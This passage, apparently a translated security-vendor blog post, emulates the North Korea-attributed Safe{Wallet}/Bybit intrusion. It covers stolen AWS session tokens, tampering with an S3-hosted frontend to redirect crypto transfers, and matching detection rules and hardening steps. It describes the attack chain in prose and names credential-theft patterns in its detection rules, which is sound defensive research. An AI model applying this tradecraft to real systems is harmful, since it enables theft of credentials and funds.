Um diese Anmeldeinformationen für Developer1 zu erhalten, wurde ein benutzerdefiniertes Skript für die schnelle Automatisierung erstellt. Es erstellte ein virtuelles MFA-Gerät in AWS, registrierte das Gerät bei unserem Developer1-Benutzer und nannte es dann GetSessionToken von STS – und fügte die zurückgegebenen Anmeldeinformationen für temporäre Benutzersitzungen als Umgebungsvariablen zu unserem macOS-Endpunkt hinzu, wie unten gezeigt.
Registrierungsversuche für MFA-Geräte
Eine wichtige Annahme hier ist, dass der Entwickler mit einer Benutzersitzung gearbeitet hat, für die MFA aktiviert war, entweder für die direkte Verwendung oder um eine benutzerdefiniert verwaltete IAM-Rolle zu übernehmen. Unsere Annahme leitet sich aus dem kompromittierten Anmeldeinformationsmaterial ab – temporären AWS-Benutzersitzungstoken, die nicht von der Konsole abgerufen, sondern bei Bedarf von STS angefordert werden. Temporäre Anmeldeinformationen, die standardmäßig von GetSessionToken oder SSO zurückgegeben werden, laufen nach einer bestimmten Anzahl von Stunden ab, und ein Sitzungstoken mit dem Präfix ASIA* würde darauf hindeuten, dass der Angreifer kurzlebige, aber wichtige Anmeldeinformationen gesammelt hat. Dies steht im Einklang mit Verhaltensweisen, die bei früheren Angriffen mit Nordkorea beobachtet wurden, bei denen Anmeldeinformationen und Konfigurationen für Kubernetes, GCP und AWS extrahiert und wiederverwendet wurden.
Annahme der kompromittierten Identität auf Kali
Sobald das AWS-Sitzungstoken gesammelt wurde, hat der Angreifer es wahrscheinlich auf seinem Kali Linux-System gespeichert, entweder an den standardmäßigen AWS-Anmeldeinformationsspeicherorten (z. B. ~/.aws/credentials oder als Umgebungsvariablen) oder möglicherweise in einer benutzerdefinierten Dateistruktur, je nach verwendetem Tooling. Während die AWS CLI standardmäßig aus ~/.aws/credentials - und Umgebungsvariablen liest, kann ein Python-Skript, das Boto3 nutzt, so konfiguriert werden, dass Anmeldeinformationen aus nahezu jeder Datei oder jedem Pfad abgerufen werden. Angesichts der Geschwindigkeit und Präzision der Aktivität nach der Kompromittierung ist es plausibel, dass der Angreifer entweder die AWS CLI, direkte Boto3 SDK-Aufrufe oder Shell-Skripte verwendet hat, die CLI-Befehle umschließen – all dies bietet Komfort und integrierte Anforderungssignierung.
Weniger wahrscheinlich ist, dass der Angreifer AWS-API-Anfragen manuell mit SigV4 signiert hat, da dies unnötig langsam und operativ aufwendig wäre. Es ist auch wichtig zu beachten, dass kein öffentlicher Blog offengelegt hat, welcher User-Agent-String mit der Verwendung des Sitzungstokens verknüpft war (z. aws-cli, botocore usw.), was zu Unsicherheiten über die genauen Tools des Angreifers führt. Angesichts der etablierten Abhängigkeit von DRPK von Python und der Geschwindigkeit des Angriffs bleibt die Nutzung der CLI oder des SDK jedoch die vernünftigste Annahme.
Anmerkung: Wir haben dies in Emulation mit unserer Poseidon-Nutzlast vor dem Blog von Unit 42 über die RN-Loader-Fähigkeiten gemacht.
Es ist wichtig, eine Nuance des AWS-Authentifizierungsmodells klarzustellen: Die Verwendung eines Sitzungstokens blockiert nicht von Natur aus den Zugriff auf IAM-API-Aktionen – auch nicht auf Aktionen wie CreateVirtualMFADevice – solange die Sitzung ursprünglich mit MFA eingerichtet wurde. In unserer Emulation haben wir versucht, dieses Verhalten mit einem gestohlenen Sitzungstoken zu replizieren, das über einen MFA-Kontext verfügte. Interessanterweise sind unsere Versuche, ein zusätzliches MFA-Gerät zu registrieren, fehlgeschlagen, was darauf hindeutet, dass es möglicherweise zusätzliche Sicherheitsvorkehrungen gibt, z. B. explizite Richtlinieneinschränkungen, die die MFA-Registrierung über Sitzungstoken verhindern, oder dass die Details dieses Verhaltens noch zu vage sind und wir das Verhalten falsch nachgeahmt haben. Während die genaue Fehlerursache unklar bleibt, rechtfertigt dieses Verhalten eine tiefere Untersuchung der IAM-Richtlinien und des Authentifizierungskontexts, die mit sitzungsgebundenen Aktionen verbunden sind.
S3-Asset-Aufzählung
Nach dem Erwerb der Anmeldeinformationen hat der Angreifer wahrscheinlich zugängliche AWS-Services aufgelistet. In diesem Fall war Amazon S3 ein klares Ziel. Der Angreifer hätte Buckets aufgelistet, die für die kompromittierte Identität in allen Regionen verfügbar sind, und einen öffentlich zugänglichen Bucket lokalisiert, der mit Safe{Wallet} verknüpft ist, der das Front-End Next.js die Anwendung für die Transaktionsverarbeitung gehostet hat.
Wir gehen davon aus, dass der Angreifer sich des S3-Buckets bewusst war, da er Inhalte für app.safe[.]globalbereitstellt, was bedeutet, dass die Struktur und die Assets des Buckets ohne Authentifizierung öffentlich durchsucht oder heruntergeladen werden können. In unserer Emulation haben wir ein ähnliches Verhalten validiert, indem wir Assets aus einem öffentlichen S3-Bucket synchronisiert haben, der für das Hosting statischer Websites verwendet wird.
Next.js App mit bösartigem Code überschreiben
Nachdem der Angreifer den Bucket entdeckt hatte, verwendete er wahrscheinlich den aws s3-Synchronisierungsbefehl , um den gesamten Inhalt herunterzuladen, einschließlich der gebündelten Frontend-JavaScript-Assets. Zwischen dem 5 . Februar und dem 19. Februar 2025konzentrierten sie sich anscheinend darauf, diese Assets zu modifizieren - insbesondere Dateien wie main.<HASH>.js und zugehörige Routen, die von Next.js während des Build-Prozesses ausgegeben und im _next/static/chunks/pages/ Verzeichnis gespeichert werden. Diese gebündelten Dateien enthalten die transpilierte Anwendungslogik, und laut dem forensischen Bericht von Sygnia war eine Datei mit dem Namen _app-52c9031bfa03da47.js der primäre Injektionspunkt für den bösartigen Code.
Next.js Anwendungen speichern ihre statisch generierten Assets in der Regel im next/static/ Verzeichnis, wobei JavaScript-Blöcke in Ordnern wie /chunks/pages/organisiert sind. In diesem Fall hat der Angreifer wahrscheinlich das JavaScript-Bundle formatiert und entschleiert, um seine Struktur zu verstehen, und dann die Anwendungslogik zurückentwickelt. Nachdem sie den Code identifiziert hatten, der für die Verarbeitung der vom Benutzer eingegebenen Wallet-Adressen verantwortlich ist, injizierten sie deren Nutzlast. Diese Nutzlast führte eine bedingte Logik ein: Wenn die eingegebene Wallet-Adresse mit einer von mehreren bekannten Zieladressen übereinstimmte, ersetzte sie das Ziel stillschweigend durch eine von der DVRK kontrollierte Adresse und leitete Gelder um, ohne dass der Benutzer sich dessen bewusst wurde.
In unserer Emulation haben wir dieses Verhalten repliziert, indem wir die TransactionForm.js -Komponente geändert haben, um zu überprüfen, ob die eingegebene Empfängeradresse mit bestimmten Werten übereinstimmt. Wenn ja, wurde die Adresse durch eine vom Angreifer kontrollierte Wallet ersetzt. Dies spiegelt zwar nicht die Komplexität der tatsächlichen Manipulation von Smart Contracts oder Delegate-Aufrufen wider, die bei dem Angriff in der realen Welt verwendet werden, dient jedoch als konzeptionelles Verhalten, um zu veranschaulichen, wie ein kompromittiertes Frontend Kryptowährungstransaktionen stillschweigend umleiten könnte.
Auswirkungen auf die Manipulation statischer Websites und fehlende Sicherheitskontrollen
Diese Art der Frontend-Manipulation ist besonders gefährlich in Web3-Umgebungen, in denen dezentrale Anwendungen (dApps) oft auf statische, clientseitige Logik angewiesen sind, um Transaktionen zu verarbeiten. Durch die Änderung des JavaScript-Pakets, das aus dem S3-Bucket bereitgestellt wurde, konnte der Angreifer das Verhalten der Anwendung untergraben, ohne die Backend-APIs oder die Smart-Contract-Logik verletzen zu müssen.
Wir gehen davon aus, dass Schutzmaßnahmen wie S3 Object Lock, Content-Security-Policy (CSP) oder Subresource Integrity (SRI)-Header zum Zeitpunkt der Kompromittierung entweder nicht verwendet oder nicht durchgesetzt wurden. Das Fehlen dieser Kontrollen hätte es einem Angreifer ermöglicht, statischen Frontend-Code zu ändern, ohne eine Integritätsprüfung des Browsers oder des Backends auszulösen, was es erheblich einfacher gemacht hätte, solche Manipulationen unentdeckt durchzuführen.
Lektionen in Sachen Verteidigung
Eine erfolgreiche Emulation – oder reale Incident Response – endet nicht mit der Identifizierung des Verhaltens von Angreifern. Es geht weiter mit der Verstärkung der Abwehr, um zu verhindern, dass ähnliche Techniken erneut erfolgreich sind. Im Folgenden skizzieren wir wichtige Erkennungen, Sicherheitskontrollen, Abwehrstrategien und Elastic-Funktionen, die dazu beitragen können, das Risiko zu verringern und die Gefährdung durch die Taktiken zu begrenzen, die in dieser Emulation und In-the-Wild-Kampagnen (ItW) wie der Safe{Wallet}-Kompromittierung verwendet werden.
Anmerkung: Diese Erkennungen werden aktiv gepflegt und regelmäßig optimiert und können sich im Laufe der Zeit weiterentwickeln. Abhängig von Ihrer Umgebung ist möglicherweise eine zusätzliche Optimierung erforderlich, um Fehlalarme zu minimieren und das Rauschen zu reduzieren.
SIEM-Erkennungs- und Endpunktpräventionsregeln von Elastic
Sobald wir das Verhalten von Angreifern durch Emulation verstanden und Sicherheitskontrollen implementiert haben, um die Umgebung zu härten, ist es ebenso wichtig, Erkennungsmöglichkeiten und -fähigkeiten zu erkunden, um diese Bedrohungen in Echtzeit zu identifizieren und darauf zu reagieren.
Sobald wir das Verhalten von Angreifern durch Emulation verstanden und Sicherheitskontrollen implementiert haben, um die Umgebung zu härten, ist es ebenso wichtig, Erkennungsmöglichkeiten und -fähigkeiten zu erkunden, um diese Bedrohungen in Echtzeit zu identifizieren und darauf zu reagieren.
Regeln zur Verhaltensverhinderung von macOS-Endpunkten
Python PyYAML-Nutzlast für die Deserialisierung
Name der Regel: "Python-Skript ablegen und ausführen": Erkennt, wenn ein Python-Skript erstellt oder geändert wird, unmittelbar gefolgt von der Ausführung dieses Skripts durch denselben Python-Prozess.
Python-Loader-Skript
Name der Regel: "Selbstlöschendes Python-Skript": Erkennt, wenn ein Python-Skript ausgeführt wird und diese Skriptdatei sofort vom selben Python-Prozess gelöscht wird.
Name der Regel: "Selbst gelöschte ausgehende Verbindung mit dem Python-Skript": Erkennt, wenn ein Python-Skript gelöscht wird und kurz darauf eine ausgehende Netzwerkverbindung durch denselben Python-Prozess hergestellt wird.
Python Loader Skript ret == 1
Name der Regel: "Verdächtige Erstellung einer ausführbaren Datei über Python": Erkennt, wenn eine ausführbare Datei von Python in verdächtigen oder ungewöhnlichen Verzeichnissen erstellt oder geändert wird.
Name der Regel: "Laden und Löschen der Python-Bibliothek": Erkennt, wenn eine gemeinsam genutzte Bibliothek, die sich im Home-Verzeichnis des Benutzers befindet, von Python geladen wird, gefolgt von der Löschung der Bibliothek kurz darauf durch denselben Python-Prozess.
Name der Regel: "Ungewöhnliches Laden von Bibliotheken über Python": Erkennt, wenn eine gemeinsam genutzte Bibliothek von Python geladen wird, die sich nicht als .dylib bezeichnet oder .so Datei und befindet sich im Home-Verzeichnis des Benutzers.
Name der Regel: "In-Memory-JXA-Ausführung über ScriptingAdditions": Erkennt das Laden und Ausführen eines JXA-Skripts im Arbeitsspeicher.
Python Loader Skript ret == 2
Name der Regel: "Potenzieller Python-Stealer": Erkennt, wenn ein Python-Skript ausgeführt wird, gefolgt von mindestens drei Versuchen, auf vertrauliche Dateien durch denselben Python-Prozess zuzugreifen.
Name der Regel: "Selbstgelöschtes Python-Skript, das auf vertrauliche Dateien zugreift": Erkennt, wenn ein Python-Skript gelöscht wird und kurz darauf mit demselben Python-Prozess auf vertrauliche Dateien zugegriffen wird.
Python Loader Skript ret == 3
Name der Regel: "Nicht signierte oder nicht vertrauenswürdige binäre Ausführung über Python": Erkennt, wenn eine nicht signierte oder nicht vertrauenswürdige Binärdatei von Python ausgeführt wird, wobei sich die ausführbare Datei in einem verdächtigen Verzeichnis befindet.
Name der Regel: "Nicht signierter oder nicht vertrauenswürdiger Binär-Fork über Python": Erkennt, wenn eine nicht signierte oder nicht vertrauenswürdige Binärdatei von Python geforkt wird, wobei das Prozessargument der Pfad zu einer Datei im Home-Verzeichnis des Benutzers ist.
Name der Regel: "Dateien mit Cloudanmeldeinformationen, auf die der Prozess in einem verdächtigen Verzeichnis zugreift": Erkennt, wenn ein Prozess, der aus einem verdächtigen Verzeichnis ausgeführt wird, auf Cloud-Anmeldeinformationen zugreift.
SIEM-Erkennungen für AWS CloudTrail-Protokolle
Name der Regel: "Temporäres STS-IAM-Sitzungstoken, das von mehreren Adressen verwendet wird": Erkennt AWS IAM-Sitzungstoken (z. ASIA*), die in kurzer Zeit von mehreren Quell-IP-Adressen verwendet werden, was auf den Diebstahl von Anmeldeinformationen und die Wiederverwendung von Anmeldeinformationen aus der gegnerischen Infrastruktur hindeuten kann.
Name der Regel: "IAM-Versuch, ein virtuelles MFA-Gerät mit temporären Anmeldeinformationen zu registrieren": Erkennt Versuche, CreateVirtualMFADevice oder EnableMFADevice mit AWS-Sitzungstoken aufzurufen. Dies kann auf den Versuch hindeuten, einen dauerhaften Zugriff mit gekaperten kurzfristigen Anmeldeinformationen einzurichten.
Name der Regel: "API-Aufrufe an IAM über temporäre Sitzungstoken": Erkennt die Verwendung sensibler iam.amazonaws.com API-Operationen durch einen Prinzipal mit temporären Anmeldeinformationen (z. Sitzungstoken mit dem Präfix ASIA*). Diese Vorgänge erfordern in der Regel MFA oder sollten nur über die AWS-Konsole oder verbundene Benutzer ausgeführt werden. Nicht CLI oder Automatisierungstoken.
Name der Regel: "S3 Static Site JavaScript-Datei, die über PutObject hochgeladen wurde": Identifiziert Versuche von IAM-Benutzern, JavaScript-Dateien im Verzeichnis static/js/ eines S3-Buckets hochzuladen oder zu ändern, was auf Frontend-Manipulationen hinweisen kann (z. Einschleusung von bösartigem Code)
Name der Regel: "AWS CLI mit Kali Linux-Fingerabdruck identifiziert": Erkennt AWS-API-Aufrufe, die von einem System mit Kali Linux getätigt werden, wie durch die Zeichenfolge user_agent.original angegeben. Dies kann auf die Infrastruktur des Angreifers oder unbefugten Zugriff über Red Team-Tools zurückzuführen sein.
Name der Regel: "S3 Übermäßige oder verdächtige GetObject-Ereignisse": Erkennt eine große Anzahl von S3 GetObject-Aktionen durch denselben IAM-Benutzer oder dieselbe IAM-Sitzung innerhalb eines kurzen Zeitfensters. Dies kann auf eine S3-Datenexfiltration mit Tools wie AWS CLI Command Sync hinweisen – insbesondere bei statischen Site-Dateien oder Frontend-Bundles. Beachten Sie, dass es sich hierbei um eine Hunting-Abfrage handelt, die entsprechend angepasst werden sollte.
SIEM-Erkennungen für Docker-Missbrauch
Name der Regel: "Zugriff auf sensible Dateien über Docker": Erkennt, wenn Docker auf vertrauliche Hostdateien ("ssh", "aws", "gcloud", "azure", "web browser", "crypto wallet files") zugreift.
Name der Regel: "Verdächtige Änderung einer ausführbaren Datei über Docker": Erkennt, wenn Docker eine ausführbare Datei in einem verdächtigen oder ungewöhnlichen Verzeichnis erstellt oder ändert.
Wenn Ihre macOS-Agent-Richtlinie die Docker-Datenintegration enthält, können Sie wertvolle Telemetriedaten sammeln, die dazu beitragen, bösartige Containeraktivitäten auf Benutzersystemen aufzudecken. In unserer Emulation ermöglichte uns diese Integration, Docker-Protokolle (in den Metrikindex) aufzunehmen, die wir dann verwendeten, um eine Erkennungsregel zu erstellen, die in der Lage ist, Indikatoren für eine Kompromittierung und verdächtige Containerausführungen im Zusammenhang mit der bösartigen Anwendung zu identifizieren.
Gegenmaßnahmen
Soziales Engineering
Social Engineering spielt bei vielen Einbrüchen eine große Rolle, vor allem aber in der DVRK. Sie sind sehr geschickt darin, ihre Opfer anzusprechen und sich ihnen zu nähern, indem sie vertrauenswürdige öffentliche Plattformen wie LinkedIn, Telegram, X oder Discord nutzen, um Kontakt aufzunehmen und legitim zu erscheinen. Viele ihrer Social-Engineering-Kampagnen versuchen, den Benutzer davon zu überzeugen, ein Projekt, eine Anwendung oder ein Skript herunterzuladen und auszuführen, sei es aus Notwendigkeit (Bewerbung), aus Not (Debugging-Unterstützung) usw. Die Eindämmung von Targeting, die Social Engineering nutzen, ist schwierig und erfordert eine konzertierte Anstrengung eines Unternehmens, um sicherzustellen, dass seine Mitarbeiter regelmäßig geschult werden, um diese Versuche zu erkennen, wobei die richtige Skepsis und Vorsicht bei der Einbindung externer Unternehmen und sogar der Open-Source-Communities an den Tag gelegt wird.
- Schulung zur Sensibilisierung der Benutzer
- Manuelle Überprüfung des statischen Codes
- Statisches Scannen von Code und Abhängigkeiten
Bandit (GitHub - PyCQA/bandit: Bandit ist ein Tool, das entwickelt wurde, um häufige Sicherheitsprobleme in Python-Code zu finden.) ist ein großartiges Beispiel für ein Open-Source-Tool, mit dem ein Entwickler die Python-Anwendung und ihre Skripte vor der Ausführung scannen kann, um häufige Python-Sicherheitslücken oder gefährliche Probleme aufzudecken, die im Code vorhanden sein können.
Anwendungs- und Geräteverwaltung
Anwendungssteuerung über eine Geräteverwaltungslösung oder ein binäres Autorisierungsframework wie das Open-Source-Tool Santa (GitHub - northpolesec/santa: Ein binäres und Dateizugriffsberechtigungssystem für macOS.) hätte verwendet werden können, um die Beglaubigung zu erzwingen und die Ausführung auf verdächtigen Wegen zu blockieren. Dies hätte die Ausführung der Poseidon-Payload verhindert, die zur Persistenz auf dem System abgelegt wurde, und den Zugriff auf vertrauliche Dateien verhindern können.
EDR/XDR
Um sich effektiv gegen nationalstaatliche Bedrohungen – und die vielen anderen Angriffe auf macOS – zu verteidigen, ist es wichtig, eine EDR-Lösung zu haben, die umfangreiche Telemetrie- und Korrelationsfunktionen bietet, um skriptbasierte Angriffe zu erkennen und zu verhindern. Eine EDR-Plattform wie Elastic geht noch einen Schritt weiter und ermöglicht es Ihnen, AWS-Protokolle zusammen mit Endpunktdaten zu erfassen und so eine einheitliche Alarmierung und Transparenz über eine einzige Oberfläche zu ermöglichen. In Kombination mit KI-gestützter Korrelation kann dieser Ansatz zusammenhängende Angriffsnarrative aufdecken, die Reaktion erheblich beschleunigen und Ihre Fähigkeit verbessern, im Falle eines solchen Angriffs schnell zu handeln.
Offenlegung von AWS-Anmeldeinformationen und Härtung von Sitzungstoken
Bei diesem Angriff nutzte der Angreifer ein gestohlenes AWS-Benutzersitzungstoken (mit dem Präfix ASIA*), das über die GetSessionToken-API mit MFA ausgestellt worden war. Diese Anmeldeinformationen wurden wahrscheinlich aus der macOS-Entwicklerumgebung abgerufen – entweder aus exportierten Umgebungsvariablen oder standardmäßigen AWS-Konfigurationspfaden (z. B. ~/.aws/credentials).
Um diese Art des Zugriffs zu entschärfen, können Unternehmen die folgenden Abwehrstrategien implementieren:
- Reduzieren Sie die Lebensdauer von Sitzungstoken und entfernen Sie sich von IAM-Benutzern: Vermeiden Sie die Ausgabe langlebiger Sitzungstoken an IAM-Benutzer. Erzwingen Sie stattdessen kurze Token-Laufzeiten (z. B. 1 Stunde oder weniger) und führen Sie AWS SSO (IAM Identity Center) für alle menschlichen Benutzer ein. Dadurch werden Sitzungstoken kurzlebig, überprüfbar und an den Identitätsverbund gebunden. Das vollständige Deaktivieren von sts:GetSessionToken-Berechtigungen für IAM-Benutzer ist der stärkste Ansatz, und IAM Identity Center ermöglicht diesen Übergang.
- Erzwingen von Sitzungskontexteinschränkungen für die IAM-API-Nutzung: Implementieren Sie IAM-Richtlinienbedingungsblöcke, die vertrauliche IAM-Vorgänge wie iam:CreateVirtualMFADevice oder iam:AttachUserPolicy explizit ablehnen, wenn die Anforderung mit temporären Anmeldeinformationen gestellt wird. Dadurch wird sichergestellt, dass sitzungsbasierte Schlüssel, wie sie bei dem Angriff verwendet werden, keine Berechtigungen ausweiten oder Identitätskonstrukte ändern können.
- Beschränken Sie die MFA-Registrierung auf vertrauenswürdige Pfade: Blockieren Sie die Erstellung von MFA-Geräten (CreateVirtualMFADevice, EnableMFADevice) über Sitzungstoken, es sei denn, sie stammen von vertrauenswürdigen Netzwerken, Geräten oder IAM-Rollen. Verwenden Sie aws:SessionToken oder aws:ViaAWSService als Richtlinienkontextschlüssel, um dies durchzusetzen. Dies hätte den Angreifer daran gehindert, MFA-basierte Persistenz mit der gekaperten Sitzung zu versuchen.
S3 Application Layer Hardening (Frontend-Manipulation)
Nach dem Abrufen des AWS-Sitzungstokens führte der Angreifer keine IAM-Aufzählung durch, sondern wechselte schnell zu S3-Operationen. Mit der AWS CLI und temporären Anmeldeinformationen listeten sie S3-Buckets auf und modifizierten statisches Frontend-JavaScript, das in einem öffentlichen S3-Bucket gehostet wurde. Auf diese Weise konnten sie das Produktions-Next.js-Bundle durch eine bösartige Variante ersetzen, die darauf ausgelegt ist, Transaktionen basierend auf bestimmten Wallet-Adressen umzuleiten.
Um diese Art von Frontend-Manipulation zu verhindern, implementieren Sie die folgenden Härtungsstrategien:
- Erzwingen der Unveränderlichkeit mit S3 Object Lock: Aktivieren Sie S3 Object Lock im Compliance- oder Governance-Modus für Buckets, die statische Frontend-Inhalte hosten. Dies verhindert das Überschreiben oder Löschen von Dateien für einen definierten Aufbewahrungszeitraum – auch durch kompromittierte Benutzer. Object Lock bietet eine starke Unveränderlichkeitsgarantie und ist ideal für öffentlich zugängliche Anwendungsschichten. Der Zugriff auf das Einschreiben neuer Objekte (anstatt auf das Überschreiben) kann weiterhin über Deployment-Rollen erlaubt werden.
- Implementieren Sie Content Integrity mit Subresource Integrity (SRI): Fügen Sie SRI-Hashes (z. B. SHA-256) in die <script> -Tags in index.html ein, um sicherzustellen, dass das Frontend nur bekannte, validierte JavaScript-Bundles ausführt. Bei diesem Angriff ermöglichte das Fehlen von Integritätsprüfungen, dass beliebiges JavaScript aus dem S3-Bucket bereitgestellt und ausgeführt werden konnte. SRI hätte dieses Verhalten auf Browserebene blockiert.
- Einschränken des Upload-Zugriffs mithilfe von CI/CD-Bereitstellungsgrenzen: Entwickler sollten niemals direkten Schreibzugriff auf S3-Produktions-Buckets haben. Verwenden Sie separate AWS-Konten oder IAM-Rollen für die Entwicklung und CI/CD-Bereitstellung. Nur OIDC-authentifizierte GitHub Actions oder vertrauenswürdige CI-Pipelines sollten Front-End-Bundles in Produktions-Buckets hochladen dürfen. Dadurch wird sichergestellt, dass menschliche Anmeldedaten, selbst wenn sie kompromittiert werden, die Produktion nicht vergiften können.
- Sperren des Zugriffs über signierte CloudFront-URLs oder Verwenden von S3-Versionierung: Wenn das Frontend über CloudFront verteilt wird, beschränken Sie den Zugriff auf S3 mithilfe signierter URLs und entfernen Sie den öffentlichen Zugriff auf den S3-Ursprung. Dadurch wird eine Proxy- und Kontrollschicht hinzugefügt. Alternativ können Sie die S3-Versionierung aktivieren und kritische Assets (z. B. /static/js/*.js) auf Überschreibungsereignisse überwachen. Dies kann dazu beitragen, Manipulationen durch Angreifer zu erkennen, die versuchen, Frontend-Dateien zu ersetzen.
Erkennung von Angriffen (AD)
Nachdem wir die End-to-End-Angriffsemulation abgeschlossen hatten, testeten wir die neue AI Attack Discovery-Funktion von Elastic, um zu sehen, ob sie die Punkte zwischen den verschiedenen Phasen des Eindringens verbinden kann. Attack Discovery lässt sich in ein LLM Ihrer Wahl integrieren, um Warnungen in Ihrem gesamten Stack zu analysieren und zusammenhängende Angriffsnarrative zu generieren. Diese Erzählungen helfen Analysten, schnell zu verstehen, was passiert ist, die Reaktionszeit zu verkürzen und einen Kontext auf hoher Ebene zu erhalten. In unserem Test wurde die Kompromittierung des Endpunkts erfolgreich mit dem AWS-Eindringen korreliert, was eine einheitliche Story lieferte, die ein Analyst nutzen konnte, um fundierte Maßnahmen zu ergreifen.
Osquery
Wenn Sie Elastic Defend über Elastic Agent ausführen, können Sie auch die OSQuery Manager-Integration bereitstellen, um Osquery für alle Agenten in Ihrer Flotte zentral zu verwalten. Auf diese Weise können Sie Hostdaten mithilfe von Distributed SQL abfragen. Während unserer Tests der Dockerized-Schadanwendung haben wir OSQuery verwendet, um den Endpunkt zu untersuchen, und den Container erfolgreich identifiziert, der mit privilegierten Berechtigungen ausgeführt wird.
SELECT name, image, readonly_rootfs, privileged FROM docker_containers
Wir haben diese Abfrage so geplant, dass sie regelmäßig ausgeführt wird und die Ergebnisse an unseren Elastic Stack zurücksendet. Darauf aufbauend haben wir eine schwellenwertbasierte Erkennungsregel erstellt, die eine Warnung auslöst, wenn ein neuer privilegierter Container auf dem System eines Benutzers erscheint und in den letzten sieben Tagen nicht beobachtet wurde.
Fazit
Der ByBit-Angriff war einer der folgenreichsten Eingriffe, die den Bedrohungsakteuren der DVRK zugeschrieben werden – und dank detaillierter Berichte und verfügbarer Artefakte bot er den Verteidigern auch die seltene Gelegenheit, die gesamte Angriffskette von Anfang bis Ende zu emulieren. Durch die Nachbildung der Kompromittierung der macOS-Workstation eines SAFE-Entwicklers – einschließlich des Erstzugriffs, der Ausführung von Nutzlasten und des AWS-Pivotings – haben wir unsere Erkennungsfähigkeiten gegen reale nationalstaatliche Handelsschiffe validiert.
Diese Emulation hob nicht nur technische Erkenntnisse hervor – wie z. B. wie die PyYAML-Deserialisierung missbraucht werden kann, um ersten Zugriff zu erhalten –, sondern bekräftigte auch wichtige Erkenntnisse zur betrieblichen Verteidigung: den Wert des Benutzerbewusstseins, der verhaltensbasierten EDR-Abdeckung, sicherer Entwickler-Workflows, effektiver Cloud-IAM-Richtlinien, Cloud-Protokollierung und ganzheitlicher Erkennung/Reaktion über Plattformen hinweg.
Gegner entwickeln ständig Innovationen, aber auch Verteidiger – und diese Art von Forschung hilft, das Zünglein an der Waage zu sein. Wir empfehlen Ihnen , @elasticseclabs zu verfolgen und unsere Bedrohungsforschung unter elastic.co/security-labs zu lesen, um den sich entwickelnden Angreifertechniken einen Schritt voraus zu sein.
Ressourcen:
- Bybit – Was wir bisher wissen
- Safe.eth auf X: "Investigation Updates und Community Call to Action"
- Kryptowährung APT Intelligence: Enthüllung der Intrusionstechniken der Lazarus Group
- Slow Pisces zielt auf Entwickler mit Programmierproblemen ab und führt neue, angepasste Python-Malware ein
- Verhaltenskodex: Mit Python betriebene Einbrüche der Demokratischen Volksrepublik Korea in gesicherte Netzwerke
- Elastic fängt DVRK beim Verteilen von KANDYKORN auf
